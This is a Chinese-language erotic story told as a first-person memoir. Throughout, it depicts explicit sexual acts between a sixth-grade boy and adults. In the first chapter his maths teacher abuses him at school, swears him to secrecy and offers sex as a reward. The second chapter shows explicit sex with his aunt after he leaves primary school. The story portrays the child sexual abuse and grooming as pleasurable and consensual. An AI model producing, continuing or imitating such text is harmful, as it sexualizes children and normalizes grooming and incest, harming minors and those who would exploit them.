图片载入中

求学十六年

特大字】 【大字】 【中字】 【小字

第一章、敬爱的骆老师阴天,天是那么低沉,压抑地让人喘不过气来。那天就是个阴天,早晨出门时看到阴沉沉的天空,我的胸中不自觉地憋闷起来。

来到学校,按部就班的上完了第一节语文课,似乎一切都将按课程表一一上演。“六年级都是这么无聊么”我一边想着,一边起身向外走去。由于那时都是按户籍划分初中的,所以六年级课程便不太紧张,老师们对平时的教学也不太上心了,为了出成绩,只重点培养尖子生搞搞竞赛什么的了。

可能是早上粥喝多了,刚来到操场我便有了强烈的尿意。也许你会问了,这有什么问题,有尿去尿呗。本来我也是这么想的,可到了厕所,尿尿却感到很吃力,我发现阴茎的包皮上鼓起了一个小包,隐隐作痛,我勉强尿完,由于小包的突起,改变了尿尿的方向,小部分尿液滴到了鞋上。“我的片儿鞋,可恶的阴天!”我将所有的不满都归咎于阴天。

我从小阴茎的包皮就长,这样尿到鞋的情况也偶有发生,我本也不以为意,只是心疼妈妈新给我买的片儿鞋,但我却没想到这次小包不但给我带来了极大的痛楚,更带来了一次奇妙的经历。

第二节是数学课,是骆老师的课,也是我最爱上的课。骆老师虽然年纪不大,但由于和蔼可亲和真才实学,已是带过二届毕业班的学校教学骨干了。此外,我校近几年进入全国奥数竞赛的学生均是她带出来的。我在数学方面较有天赋,数学成绩一直很突出,骆老师对我也是特别关注,这也是我爱上数学课的原因,此外还有一个不可告人的原因埋在我心底。

“上课!”骆老师甜美的说道。

“起立!”学委娜说道。

“同学们好!”骆老师甜美的说道。

“老师好!”我跟同学们一起大声答道。

“坐下!”骆老师对我们热情饱满的状态很是满意,露出甜甜的微笑。

“今天我们讲一下相遇问题:请看例题:甲乙两地相距250千米,客车和货车从甲乙两地同时出发……”

骆老师用她甜美的声音讲解着,此时我却感到两腿间传来阵阵疼痛。

“帅,你来说一下这道题有几种情况?”

我只感觉教室里鸦雀无声,突然不知谁捅了我一下,我下意识的站了起来,看到骆老师和全班同学都看着我,我才猛然意识到骆老师叫我回答问题。可我刚才由于疼痛并没有听讲,只能茫然无措的站在那。同桌拉了拉我的裤腿,指了指试题。可我只感觉到腿间的疼痛,支支吾吾的不知所云。

“你坐下,岩,你来回答。”骆老师显的话让我如获大赦。我一屁股坐了下来,细密的汗珠从我额头渗出。

铃……下课铃声敲响了。

“下课!”

“同学们再见!”

“老师再见!”

终于熬到了下课。

“值日生留下值日,其他人下楼去做间操。”体委峰不合时宜的大声说道。

“可恶!”我用我当时认为最恶毒的词语暗骂着,想站起来往外走,阴茎的疼痛却让我的屁股怎么也离不开板凳,我凳子上磨蹭着,直到教室里只剩下值日生、我和刚刚收拾好讲义的骆老师。

“帅,你上课可是很少走神的,你哪里不舒服么?”

“有点疼。”我下意识地将手捂在了裆部。忽然我意识到有所不妥,低下头满脸通红。

“帅不舒服。我看你们班教室挺干净的,你出去做间操吧,免得出操少人扣你们班分。”骆老师平静地支走了值日生。这里要说一下,骆老师是别班的班主任,负责教我们班数学。

我感激的看着骆老师,因为我这样的状态出操肯定相当难受。

待值日生出去后,骆老师轻盈地走到我的座位旁蹲了下来,关切地问道:“告诉老师,到底哪里不舒服?”

我红着脸,不好意思回答,只闻到淡淡的芳香。

“是鸡鸡疼么?”反倒是骆老师点破了这层窗户纸。

我红着脸“嗯”了一声。

“快告诉老师怎么回事?”骆老师急切的问道。

我将早上在厕所发现的情况告诉了她。骆老师微一思索,说道:“可能是阴茎包皮炎症,这事可大可小,你快让老师看看,可别耽误了。”说着就要脱我的裤子。

我下意识地推挡着,“听话!”骆老师手上的动作并没有停下。

我放弃了推挡,配合着站了起来。骆老师顺利地退下我的裤子,阴茎完全暴露在老师面前。我有些恍惚,恍惚间觉得此情此景似曾相见。

“肿得很厉害啊!”恍惚中的我感觉到阴茎上有气流拂过,显然她的脸离阴茎不远,甚至可以说很近。瞬间心底升起一种说不清的感觉,紧接着就是一阵疼痛。我下意识地蹲了一下,这时才注意到阴茎竟硬了起来。

我不知为啥阴茎会像每天早起那样硬朗,满脸通红,抬眼偷瞄骆老师,只见她也一脸惊讶。见我瞄她,她的脸也微微一红。

“嗯哼~~”骆老师清了下嗓子,“肿得这么厉害,让老师看一下。”说着,就一手扶着我,一手托起了我硬朗并肿着的阴茎送到了她的眼前。

“包茎,肯定有脏东西出不来,才发炎的。一定要把包皮翻过来洗干净才行,可能会有点疼,你怕不怕。”说到这,骆老师抬起头看着我。

“我、我不怕疼,我是男子汉。”说着,我露出了自认为坚强的神态,不过我隐约发觉骆老师看我的眼神有些古怪,特别是当我说出“男子汉”的时候。

“那老师要开始了。”说着,骆老师将左手食指和拇指围成O型,环住了阴茎上的包皮,慢慢向后褪去。

“忍着点。”骆老师一边褪着,一边用嘴向阴茎上吹气。

“第六套广播体操开始……”随着广播体操的音乐,一点点、一点点的露出了尿眼、白嫩的龟头前部、粘连的包皮。

“老师,到头了。”我呲牙咧嘴的看着全过程,看到这儿,我知道已经到头了,因为我自己清洗鸡鸡的时候就是翻到这。

“哦?”骆老师暂停了手里的工作,有些吃惊。

“老师,我每次清洗时就褪到这儿,再褪就疼了。”

“傻孩子,还能褪的,你看,还没到肿包呢。”说着骆老师又要开始了。“这下你可要忍着点了”骆老师补充了一句。

马上我看到了龟头上出现了皮肉分离的景象,一阵撕裂感也随之而来,我忍不住闷哼了一声。

“好了。”骆老师兴奋的说着,我长吁了一口气。

只见龟头完全漏出来了,皮肉分离的部分微带血色,冠状沟中粘着一层不均匀的物质,传出一阵臭味儿。

“你看就是这些脏东西导致炎症的。”骆老师一手把住包皮,一手轻轻的揉搓着那些物质。

“差不多了,下面要清洗一下了。”骆老师站起来伸了一下腰,“来,你坐到桌子上。”

我顺从的坐到了课桌上,阴茎已然不像开始那么疼了,我感到很轻松。本以为老师要去打水,可接下来发生的一切,却让我始料未及。

骆老师蹲了下来,头一探,把我的阴茎含了进去……

我先是一惊,随即便感觉到一阵温暖,骆老师的舌头灵活的在龟头上游走,我突然感觉一阵电流从阴茎传来,紧接着一阵喷射。

骆老师显然对这突如其来的一切没有准备,吐出了我的阴茎,咳嗽了几声,乳白色的液体沿着她的嘴角流出来。

“怎么还没硬就射了。”我听出了骆老师语气中有些失望。

“老师,你再来,我能硬。”我不服气。骆老师看着我正滴着精液的阴茎,一口吃了上来。

“唔”我舒服的哼了一声。在温暖的包裹中,阴茎再次硬朗起来,我放下了心中的包袱,这不正是我梦寐以求的事么。骆老师也发现了我的变化,两片嘴唇夹的紧紧的,湿热的舌头伴随口腔不断在阴茎上滑动。

“四二三四五六七八”伴随着广播体操的节奏,我不禁按住了老师的头,她吹的更起劲了,整个头剧烈的前后摆动,我的快感更强烈了。

尾椎传来一阵酥麻的感觉,我浑身一抖。骆老师好像感觉到了,头猛然一前,把我整支阴茎都含进了嘴里,我向前一顶,精液往她的嘴里直冲而出……我不断的喷射,这次骆老师好像一时之间无法承受,一大堆精液沿着嘴角流到了她的白大褂上,但她毫不在意地不断用力吸吮着我的龟头、不停地吞咽着。

直到我不再抖动,骆老师把口中的精液咽下,带着满足的神情想要吐出我的阴茎。当骆老师快要吐出阴茎时,我从桌上蹭了下来,莫名的强烈冲动让我把着骆老师的头,不停的将阴茎在她的嘴里抽送。

我疯狂地抽送着,只听见骆老师在我腿间呜呜着,我也顾不得她有什么感受了。骆老师发出了哭腔,这激发了我的一种强烈的征服感,尾椎再次传来一阵酥麻的感觉,我猛地往前一送,用老师的话说“射了”。

骆老师一把推开了我,梨花带雨咳嗽着,好一阵,她才满面泛红的笑骂着:“老师差点窒息了。”接着,她站了起来,看着白大褂上的点点精液,说:“都是你,新换的白大褂又得洗了,好在下节没课了。”

说罢,骆老师脱下了白大褂,看到我翘着阴茎仍在回味着,弯下腰快速地舔净了阴茎上残存的精液,然后起身拍了我的脑袋一下。

“赶快提好裤子,同学们马上就上来了”。这时,我也听到教学楼里想起了脚步声,急忙提好裤子。

骆老师走到讲台上拿起了教案,向门口走去,我也恋恋不舍地跟了过去。走到门口,骆老师回过头,在我耳边甜甜地说:“这是咱俩的秘密,跟谁也不能说,包括你的父母哦,要是告诉别人,老师就再也不理你了。”说罢她撩起纱裙,将我的左手按到了她的两腿之间,我只觉手被热气笼罩,还滑腻腻的。“下个月的奥术比赛考得好,这就是奖励哦。”

说罢,骆老师开门出去了,只留下呆呆的我。

夏季的天就像孩子的脸说变就变,上午还晴朗的天空,下午渐渐阴沉下来,本来户外活动的体活课,改成了室内答卷子。“阴天准没好事。”我愤恨的嘟囔着,为没能进入奥数集训队而心情郁闷。

其实我的成绩也算不错,只差一分便能进入集训队了,这对于奥数起步较晚的我来讲已经算是相当好的成绩。我呢,对竞赛不太感冒,要不是想着骆老师的奖励,心情也不至如此糟糕,本来还想利用体活课散散心,可偏偏还转为答卷子。哎,真是屋漏偏逢连夜雨,船迟又遇打头风啊。

数学科代表抱来了一摞卷子,将卷子分成四份放到了四个小组的第一张桌子上。

“从前往后传,一人一张,下课交卷,大家都自觉点,自己答自己的卷。”接着她来到我身边,对我说:“骆老师让你去办公室。”我看了她一眼,只见她一脸幸灾乐祸的表情。

娜,她是数学科代表,他爸跟骆老师班的岩的爸爸是老战友。另据骆老师班的消息灵通人士说,娜和岩小时候订过娃娃亲。娜是我们班的奥数尖子,而岩是骆老师班的奥数尖子,那时候“东邪西毒、南帝北丐”火得发紫,出于小孩儿的天性,我就给他俩起了个“东岩西娜”,没想到后来却传开了。

娜脸皮薄,听说后都气得哭了,后来查到是我给起的,便对我记恨在心,总打我小报告,而我呢也确实属于淘小子,因此我经常挨班主任批评,这也是班主任不太喜欢我的原因。今天看到一直对我不错的骆老师也喊我去办公室,估计她也没少说我的坏话,认为我是凶多吉少,所以才能一副幸灾乐祸的态度。

我白了她一眼,摔门出去了。

“哼,神气个什么劲儿,看骆老师怎么批评你。”身后教室里传来娜的气骂声。

“不知娜跟骆老师都说我啥了。”本来心情不爽的我,心中也不免忐忑不安,因为骆老师从没叫我去过办公室。“小贱娜,我不就给你起个外号么,你怎么老跟我过不去,你以后肯定万人骑”我心中暗自诅咒着,没想到若干年后,我当时的这句无意的诅咒竟一语成真,此是后话,暂且不提。

我进了数学组的办公室,老师们有的闲聊,有的在准备教案,有的在批改作业。我轻声问了声老师好,她们冲我笑了笑,便继续着刚才的事情。跟骆老师关系较好的唐老师用笔指了指里面的门,“是帅吧。骆老师在里面等你呢。”

我有些纳闷,原来骆老师就坐在唐老师的旁边的。

看我有些吃惊,唐老师说道:“你们骆老师刚提了数学组长,去里面的办公室了。快去吧。”

我来到骆老师门前,轻轻敲了敲门。

“进!”依然是那么清脆甜美的声音,不过我能感觉到里面带着愉快。

我推门进去,站在门口,只见骆老师坐在办公桌后,嘴里哼着不知名的小调,办公桌上的茶杯还冒着热气。骆老师见是我进来了,从办公桌绕出来,走到我身边将门锁好,我正纳闷老师为什么要锁门,骆老师就将我拉到办公桌后。

“帅,上课时怎么又不对劲,是不是又肿了?”骆老师关切的问,一点看不出有责备我的迹象。

“没有。”我小心翼翼的回答着。

“那是因为没入围奥术集训队?”

“不是。”

“那是什么?”

我不做声,因为我不知道怎么回答她,难道告诉她我是因为想要那热腾腾的奖励。

“看着老师,是因为什么?”骆老师不依不饶地问着,我从她的眼中看到了一种我说不好的感觉,是一种压抑的热情。

“我想要老师的奖励。”我壮着胆子坦白了。

“……”这次轮到骆老师不语了,虽然她努力使自己平静,但我能明显感觉到她因激动颤抖的身体。

“其实你考得不错……”

“那就是说我能得到奖励啦!”已经感觉到什么的我打断了骆老师的话,兴奋地说着。

“今天叫你来,就是给你奖励的。”说着,骆老师的脸蛋有些发红,气息也有些急促。

只见骆老师解开花格衬衣的两个纽扣后,拉起内衣的下䙓,一个特别诱人的雪白肚皮,立刻就活灵活现地展露在了我的眼前。

紧接着骆老师捉住了我的右手,从她那解开的内衣下方伸了进去。我的手心马上就实实在在地触到了一只欢蹦乱跳的乳房,只觉得骆老师身体一震。

我下意识的揉捏了几下,骆老师的眼神迷离了,喘息更加急促了。我知道这是乳房,我小时候就是吃这个长大的。说实话老师的乳房没有母亲的大,让我不能理解的是,为什么揉捏后,骆老师会喘息这么急促呢,想着想着,我便松开了手,不敢再动。

骆老师感觉到了我的停顿,眯着眼对我说道:“帅!你怎么停了,把老师的乳房揉捏的时候再劲大一些,尤其乳头用得劲要更大才好,这样老师才能感到特别舒服。”

我两只手同时解开她衣服的其余纽扣,骆老师是圆锥型的乳房,虽然不大但却呈奶油色,我一手一个地握住她跳动的乳房,肆意将它们揉捏成了各种形状。

没过一会儿,骆老师就全身颤抖着拉掉了我在她胸脯上肆虐的双手,接着稍微整理了一下自己的衬衣,很随便地扣了几个纽扣后,将我推倒在椅子上,双手撩起淡蓝色短裙,跨坐在我的腿上。

“还记得奖励么?现在就去摸摸你的奖励吧。”

这才是我想要,我伸手沿着骆老师白皙大腿,赶快我的右手就滑到了骆老师的两腿之间,“老师没穿内裤”我有些意外,手只停顿一下,便完全捂在了她那毛茸茸的屄上。

骆老师的屄那里有一股热烘烘的感觉,还有许多细小的水珠在上面浮动着,用手指头只要在那个地方稍微摸上一下后,给我当时唯一的感觉,就是觉得特别地粘滑。

这就是我梦寐以求的地方,可到了这里又该如何呢?一时间,我竟不知所措,只能在那里来回揉搓,骆老师相当受用,扭着胯部配合着我。

我的手越来越湿,骆老师的大腿压得我生疼。我扭动了一下,她像是察觉到了我的不适。从我的身上起来,并将我拉了起来,然后指了指桌子。

我明白老师的意思,稍微揉了揉被骆老师压疼的腿后,将办公桌上的东西一股脑推到了一边,由于着急,那杯热茶险些烫着我,不过好在有惊无险。

我踮起脚,坐到了办公桌上,平躺了下来。

这时,骆老师也风情万种的爬了上来,两腿跨在我头侧,两手支在我的胯边,与我方向相反的压在了我的身上。

接着,骆老师一把褪掉我的裤子,将我的阴茎握在了手里,瞬间,我感觉到了阴茎在老师手中的变化。

骆老师嘤咛一声,我就觉得自己有些凉的肚皮上,立刻有一大口温热的口水落在了上面。接着阴茎被握紧了往下一捋后,我感觉到龟头凉凉的。我想像得到那圆润膨大的龟头,此刻应该很有精神地向可敬可爱的老师行了个礼。

她一边继续捋动着我的阴茎,一边对我说道:“帅!你把老师的屄掰开,再用手指头戳那个屄眼,不过不要戳的太深了,否则我可疼的不行。”

此时我才从陶醉的感觉中觉醒,打量着我这份神秘的“奖励”:骆老师的屄长得比较饱满,最上面的那个高高肉丘上,除了长着许多褐色的茸细阴毛外,再下面那像个刚出笼的馒头一样的肥胖肉肉中间,有一道微微向外裂开的小缝,里面显露出了两片柔嫩的细小肉条。

当我把那两片细肉条掰开以后,里面都是些褶皱连片,凹凸不平的肉块,一下子就把我看了个眼花缭乱,不知道从哪里下手才好。

在没有一点办法的情况下,我只好伸出自己的指头,在骆老师的那些地方胡乱戳了起来。此刻,我心里才真正体会到了骆老师上课时经常讲的“要掌握方法,而不是死套公式”的良苦用心。

“再扒开一些,微微张口唿吸的那个就是。”骆老师显然发现了我的不知所措,指点我如何操作。

“找到了。”我感受到了哥伦布发现新大陆时的喜悦,说着,将手指伸了进去使劲抠挖起来。

骆老师显然没有意料到我的动作会如此粗鲁,急忙喊道:“疼,轻一点,轻……一点。”

我急忙停下手里的动作,将手指抽了出来,在手指抽出来的瞬间,竟然拉起一条细丝,在日光灯的辉映下,闪着晶莹的光,十分好看。

可能是由于办公桌上的玻璃板太硬了,骆老师腿搁得生疼,她将腿分得更开了些,沾满细小的水珠屄离我的脸更加近了。我鼻子中感受到骆老师屄中喷发出来的湿热气息。有点臭但还说不上臭的味道,不算好闻却让人很是迷离。

恍惚间,我伸出舌头在她肉缝儿间舔着,只见骆老师浑身一颤,这时,我感觉到肉缝儿间突起一个硬硬的东西。我用舌头分开肉缝,不断摩擦着那个突起。

“对……那……里……痒……”骆老师颤抖着断断续续的低声说着。不知过了多久,骆老师一阵痉挛,一股淫水喷射而出,弄得我一脸都是,浓烈的气味冲击着我的鼻腔。

“我要,我要。”骆老师如?症般,将湿漉漉的她称为屄的地方从我身上滑过,背朝着我,半蹲在我阴茎的位置,她一手扶着早已向她敬礼的阴茎,一手分开她叫屄的地方后,用劲的蹭了起来。虽然她背对着我,但每蹭一下,我都能听到她舒服的哼声。

最后,骆老师干脆就停在那儿喘着气不动了,静止了好一会。紧接着还没等我心里明白怎么回事,她的屁股就往下一沉,耳朵里只听到“咕唧”一声后,我便发觉我的阴茎进入了一个温热滑腻的地方。

“哦……”我舒服地叫出声来,只见骆老师扭过头,做了个嘘的手势,然后指了指门外。

我急忙噤声,刚想体味一下那里对阴茎挤压的爽意时,骆老师又抬起屁股,在阴茎将要从那个那里滑出的时候,她的屁股紧接着又快速沉了下来。

如此往复地来了好几下后,骆老师用的劲开始越来越大,好几次都是猛猛地沉到底,把我的蛋蛋挤压得生疼,我将腿分开了一些,使蛋蛋在骆老师下沉的时候能够不至受到挤压。

“啊……啊……哦……啊……哦……啊”骆老师低低的呻吟着,如呓语般毫无意义的话语不断地刺激我的耳膜。

骆老师一起一蹲,阴茎在她身体里就一进一出,就这样还没有来上二十下,一种强烈的快感,立刻就源源不断地涌上了我的心头。阴茎一阵酥麻后,我猛地将腰往上一顶,骆老师此时正好往下一坐,一股股热烫的精液,有节奏地喷射着。

此时正处在兴奋状态的骆老师,当下被我这突然的射精,刺激得马上嘴里面“呀!呀!呀”的低叫了几声,然后大口的喘着气,同时扭动着屁股,仿佛要吸干我喷出的所有液体。

我迷失在一种从来没有体验过的爽意和快乐中……

第二章、亲切的二姨

“我这一走不知何时回来,你们一定要注意安全,不要做无谓的牺牲,保重!”电视里一位不知名的老地工低沉的说着。

“哎,又这么说。这一去肯定永别了。”我身边的哥们儿说着。

听到他这么说,我心中不禁有些刺痛,骆老师离开那天也是这么说的。

骆老师走了,不过倒不是牺牲,是因为她在东北边防的军官丈夫出了些意外,她为了照顾他,申请调走了。当时校长也很遗憾,只不过不知道他是对骆老师的遭遇遗憾多一些,还是对少了教学骨干遗憾多一些,呵呵。骆老师走得十分仓促,但临走前,仍嘱咐了我:一定要把精力放在学习上,好好学习。

她是个好老师,是我心中最敬爱的老师,我一直记着她临行前的教导。我的成绩一直是学校的前五名,唯一让我遗憾和对不起她的是,自她走后直到小学毕业,我的奥数再也没有任何突破。

“走吧,别看了,他俩来了。”哥们儿一手将电视关掉,一边拽着我。

显然是另外两个哥们儿来了,我们约好了一起去捞鱼的。我撇开心中的不快,告辞了哥儿们的父母,欢天喜地的去捞鱼了。

小学毕业后,家里出了些状况,父母无暇管教我,便将我托付给姥姥照看。因为那个年代,上学是按户籍划分的,我就是因为落户在姥姥家才得以在这个小学读书,所以姥姥家跟我的哥们儿们的家都很近。父母为不能照顾我心有愧疚,可我知道在姥姥家准能过个愉快的假期。

都说初中的课业不再像小学那么轻松了,这个假期就显得尤为珍贵。就像前面提到的,我和哥们儿们每天看电视、捞鱼、打野猫、下象棋……恣意地玩着乐着,享受着轻松的、没有作业的、珍贵的假期。但每当夜晚睡觉时,我的脑海里总浮现起骆老师的音容笑貌,而一觉醒来经常发现大腿根黏黏的。在我悄悄地到厕所擦拭着沾满精液的内裤时,我都在想骆老师要是没走有多好啊。

假期就像日历上的纸片一页一页被撕去,每天都重复着同样的情景,每天的疯乐似乎也不能压制住我内心的某种冲动。

可能是父母怕姥姥年岁大了,照顾我比较吃力,没多久,二姨被他们请到姥姥家来照顾我。(后来我才知道二姨与二姨夫离婚了,没有地方住,爸妈怕;姥姥姥爷当心,就没有告诉他们,以照顾我为理由,让二姨住了进来。)

由于房间有限,姥姥姥爷住一个屋,而我跟二姨住一个屋。二姨的到来,饭菜的质量有了明显提高,由于好久没有看到二姑娘,姥姥、姥爷也十分开心。我梦中的主角不知不觉的变成了二姨,但我只敢趁她睡着的时候偷偷看看她的身体,仅此而已,直到那一天。

那天姥姥、姥爷要参加庙会,一早就出门了。我就更不用说了,早就出来撒欢了,本来计划到晚饭时间才回去,谁知跟哥们儿们闹了点别扭,结果不欢而散。

我悻悻的回到家,进门的时候,我突然听到了我的房间里有声音。“难道是二姨回来了吗?”我悄悄的走近房门,听见里面是急促的喘息声,一股莫名的冲动让我的心狂跳不已。

我从微微开启的门缝向里面看去,我能感觉到自己的眼中喷出了欲火。二姨把她那雪白迷人的裸体对着壁镜,眼神迷离、表情陶醉,这种表情在我自己撸阴茎的时候也曾在我的脸上出现过。

第一次,我第一次完整地看到二姨那雪白迷人的裸体,那种诱惑力远超过了我晚上偷看时的想像。我突然觉得气血一下子冲上了头顶,一把拉下裤子,拽出不知何时坚硬的阴茎,用力地套弄起来。

二姨用手指把大阴唇微微的分开,左手中指慢慢的插进了她那黑红色的水帘洞,轻轻的抠弄起来,右手的食指在她那充血后鲜红的阴蒂上不断的摩擦着,那浑圆的屁股不时的摇晃着,还把那黑红色的阴户大胆的向壁镜挺了过去,把脚尖高高的踮了起来!

“嗯……好美……啊……啊……要来了……啊……”二姨在急迫的唿吸下竟叫出了声。二姨的浪叫,出乎我的意料,腰部一阵酥麻,一股热流从阴茎喷射出来。

“额”由于屏了半天唿吸,这时喉咙里竟自己发出了声音。

“是谁?”二姨在里面警觉地问道。

我脑子里一片空白,想到的只是赶紧的闪人。我迅速的把门拉严,提起裤子破荒而逃,一直跑到没了力气才停下来。我大口的喘着气,心扑咚扑咚的跳个不停,脑中却连续的播放着刚才的那一幕画面。

过了好一会,心情平静了一些,我这才想起来刚才的射出的精液还在门上,不禁一身冷汗。

我在外面晃了很久,直到天黑,饥肠辘辘才不得不硬着头皮往家走。

一进门,只见姥姥姥爷坐在饭桌前,一脸怒容,二姨并没在桌前。

“怎么回来这么晚,不知道大家担心你么?”

“我,我知道错了,下次不敢了。”

“好了,饿了吧,快吃饭吧。”姥姥姥爷见我知道错了,立马关心的说道。

我扒了几口饭,瞟了一眼被我喷射了的房门,并没看到精液。我稍放了放心,小心翼翼地问道:“我二姨呢?”

“还不是因为你,出去找你了。”姥姥说着。

这时,二姨开门进来了,我不敢看她,低头扒着饭。

“帅,回来了啊,下次可别这么晚回来了,免得让大人们担心。”二姨边脱鞋子,边说着。

“刚才他已经认错了,你快洗洗手吃饭吧”姥姥护着我。

二姨洗完手,坐在我对面。我不敢看她,低头扒着饭。她仍像每天一样不停给我夹菜。

我快速的扒完了饭,逃进了屋里,扑倒在床上。姥姥姥爷正跟二姨谈论着白天上香的见闻,并没有发现我的异常。

我躺在床上翻来覆去,不知一会儿如何面对二姨。正当我愁眉不展的时候,只听二姨说道:“妈,你们看电视吧,我进屋看看帅,一会儿我刷碗。”接着,房门被打开了。

我心中咯?一下,方寸大乱,急切间只能眯眼背对着屋门装睡。二姨走到了我的身边,坐了下来,紧接着我便感觉到脸上痒痒的,鼻中也闻到洗发水的香味儿。

还没等我反应过来,只听耳边传来二姨轻声的话语:“白天有人在门外偷看二姨,二姨吓坏了,你知道是谁么?”

我闻言一震,只觉脑中一片空白。

半晌,脸边依然感觉到温柔的气息,鼻中依然萦绕着洗发水的气味儿。显然二姨仍在等着我的回答。

我不知如何是好,下定决心装下去。突然,耳边一湿,接着感觉到舌头舔舐,接着牙齿轻咬耳垂后,舌尖钻入耳内,可以清晰的听到逐渐急促的唿吸声。我依然不敢有所动作,试着抵御着耳边传来的麻痒感觉,但那香舌的蠕动使得我舒服到极点!我的抵御越发得徒劳了,逐渐膨胀的下体彻底摧毁了我的防线。这时,一只手恰到好处地按在我的两腿之间。

“还不肯说么?”二姨轻声说道。

“……是我。”

“终于承认了。”二姨一边说着,一边扳着我的肩膀。此刻的我已经完全放弃了抵抗,顺从的藉着她的一扳之力,平躺下来。

“看着我的眼睛。”二姨命令道。

我顺从的与她对视着。突然,我感觉到了她眼神中异样,那眼神中包含着渴望、矛盾、关爱。

我鬼使神差的亲了二姨一下,二姨似乎有些意外,紧着着我看到她眼中露出难以抑制的欲火,果然她张开嘴送上热烈的长吻,我的舌配合着她的舌展开激烈的交战,我们的唿吸都有些急促了。

我们的舌依依不舍的分开了。二姨叫我头里脚外的躺着,接着帮我把裤子脱下,早已硬朗的阴茎摆脱了内裤的束缚后,昂首挺立着站在她得眼前。

二姨双腿屈跪在地上,左手握住我的阴茎,我能感觉到她手心有汗。她张开嘴用舌尖轻舔龟头,不停用两片热唇狂热地吸吮套弄着,右手轻轻揉弄阴茎下的阴囊。

这时骆老师的影像悄然浮在我的头脑中,下体逐渐增强的快感让骆老师的影像模煳起来。我看到阴茎在二姨嘴中吞吐着,刺激、不可思议的感觉弄的我浑身酥麻,禁不住从喉咙里发出兴奋呻吟“啊……二姨……二姨……好、好舒服……”二姨如获鼓舞,吞吐的频率越来越快。我只觉尾椎一麻,“喔……好爽……我要射了……”

二姨闻言吐出了鸡巴,只见有大量热烫的精液瞬间从我龟头直射而出。二姨的举动虽然让我觉得无的放矢,心中有些失落。但看到射中二姨泛红的脸颊后缓缓滑落的精液,我心中又升起另一种莫名的兴奋。

我目光迷离的看着二姨起身后拿纸擦拭着脸上的精液,期待着接下来可能发生的事情。可二姨擦完精液,转身就要向外走,我猛地坐了起来,一把拽住二姨的手腕。

二姨回头看着我,笑了笑,说:“拽的我生疼,乖,放手。”

我没有说话,拽着她得手更用力了些,我下定了决心,坚决不让二姨走,怎么能让到手的鸭子飞了呢。

二姨看到我越发的急切了,扑哧笑出声儿来,小声笑骂道:“快放手,一会儿手让你弄断了。二姨先去刷碗,晚点让二姨教你怎么玩……好让我们一起快活快活。”说到后来。声音几不可闻,但还是被我听到了。

我心中大喜,躺回床上,回味着刚才的激情。我想起了骆老师、想起了二姨对着镜子自慰的情景。一切的一切都在刺激着我的大脑皮层,阴茎也在不知不觉中昂立了起来。

“小色鬼!”二姨不知什么时候进入屋中,她反身插上门,笑嘻嘻走到床边。

我迫不及待的坐了起来,二姨知道我的心意,快速地脱下了衣服,一双饱满肥挺的酥乳跃然展现在我的眼前,大乳房随着她的唿吸而起伏。虽然偷看过几次,但她乳晕上长长的乳头仍让我觉得十分怪异。

没等我细看,她的双手就搂抱住我的头,身体往前一倾将酥乳顶住我的脸颊,她着急的说:“帅……来……亲亲二姨的的奶子……”

“嗯……”我听了很是高兴,双手急切的握住那对盼望已久的大乳房又搓又揉,接着我像婴儿般低头贪婪的含住那怪异的乳头,又吸又舐,恨不得吮出奶水似的在丰满的乳房上留下口口齿痕,怪异的乳头不堪吸吮抚弄,坚挺起来,好像我的阴茎勃起一样,只不过它屹立在乳房上。

二姨被吸吮得欲火焚身、情欲高涨双眼微闭,不禁发出喜悦的呻吟:“啊……二姨受不了啦……你……你真是我的心肝……唉唷……乳头被你吸得好舒服……喔……真好喔……”激情高涨的二姨兴奋得玉体发颤。她胴体频频散发出淡淡的脂粉香味和成熟女人的肉香味,陶醉在其中的我心口急跳,一双手和一张嘴却片刻不停的揉搓、吸吮着二姨乳房。

不一会儿,二姨呻吟着推开了我,麻利地将外裤脱下,二姨的腿间只剩小片镶滚着粉色蕾丝的三角布料掩盖着,隐隐可以看到里面乌黑细长而浓密的阴毛,更有几许阴毛似乎不甘寂寞俏皮地露了出来,既性感又妖媚!

我看得眼中直喷火,恨不得扯下二姨的内裤,再睹白天时看到的成熟充满诱惑的裸体。但以前与骆老师欢好的的经验告诉我应该慢慢来,我强压欲火,右手揉弄着二姨的乳房,左手放肆地伸入她的内裤,落在小穴四周游移轻撩,来回用手指揉弄穴口左右两片湿润的阴唇和那微凸的阴蒂,中指轻轻向小穴肉缝滑进扣挖着,直把二姨挑逗得娇躯轻晃不已,淫水如汹涌的潮水飞奔而流,口中还喃喃自语:“喔……嗷……”

二姨的胸部急促起伏,娇躯颤动。“啊……好外甥……别折腾二姨了……你要温柔点儿!舒服……嗯……受不了……啊、啊……快、停止……”在二姨浪叫声的刺激下,我也按耐不住了,一使劲就把二姨身体上唯一的遮身避体的东西拽了下来。

此刻,二姨稍显丰满的胴体一丝不挂地展现在我的面前,难见日光的小腹微凸而白晰,小腹下三寸长满浓密乌黑的阴毛,阴毛不规则黏在一起,显然是刚才涌出的淫水的作用。

之前虽与骆老师有过欢好,但骆老师却是让我亲乳房的时候露乳房,让我插入的时候露下体,我始终没有见过完整的裸体,可以说这是我有生以来首次见到女性的裸体,不禁看得痴了。

突然,我被推倒在床上,只见二姨面有愠色,显然是抱怨我刚才的表现,我迅速往床里挪去,二姨见我机灵,脸上又露出妩媚的表情,姿态曼妙的爬上床,看到我早起勃起的阴茎,一口吞了下去,接着用力的吞吐着。

由于刚才已尝过她的滋味,此刻我并没有感觉到太强烈的刺激,只觉阴茎在她嘴里更加膨胀了。

二姨吞吐了一会儿后吐出我的阴茎,只见阴茎异常硕大,龟头也红红的大大的,在灯光的照耀下竟闪动着光芒。这是我的阴茎么,我也暗暗吃惊。

这时,二姨一脸满意地跨跪在我上面,起身高举肥臀,用那淫水湿润的小穴对准了直挺挺的阴茎,右手中食二指反夹着阴茎,左手中食二指拨开自己的阴唇,我知道接下来要发生什么事,闭上了眼睛。

“滋”一声,硬挺的阴茎滑入二姨的小穴里,接着身上一沉,我知道二姨的小穴已经完全吃下了我的阴茎,接着就是二姨肥臀的大起大落、上上下下的套动着,直忙得她香汗淋漓、秀发乱舞、娇喘不停。

“唔……好……好爽……”我睁开眼睛,看到她双手抓着自己的双乳,不断挤压、搓揉。秀发飘扬、香汗淋漓、娇喘急促,我仿佛感觉到她压抑的情欲不断的释放。

“啊、啊……好充实啊……喔……二姨真喜欢你的的大鸡巴……啊……好、好舒服啊……”“喔……好、好久没这么爽啦……二姨爱死你的大鸡巴了……”二姨的叫声越来越大,淫水从小穴洞口不断的往外泄流,沾满了我一身。骚浪的叫床声让我兴奋不已,回应着:“喔……好二姨……我也爱、爱你的小穴……”

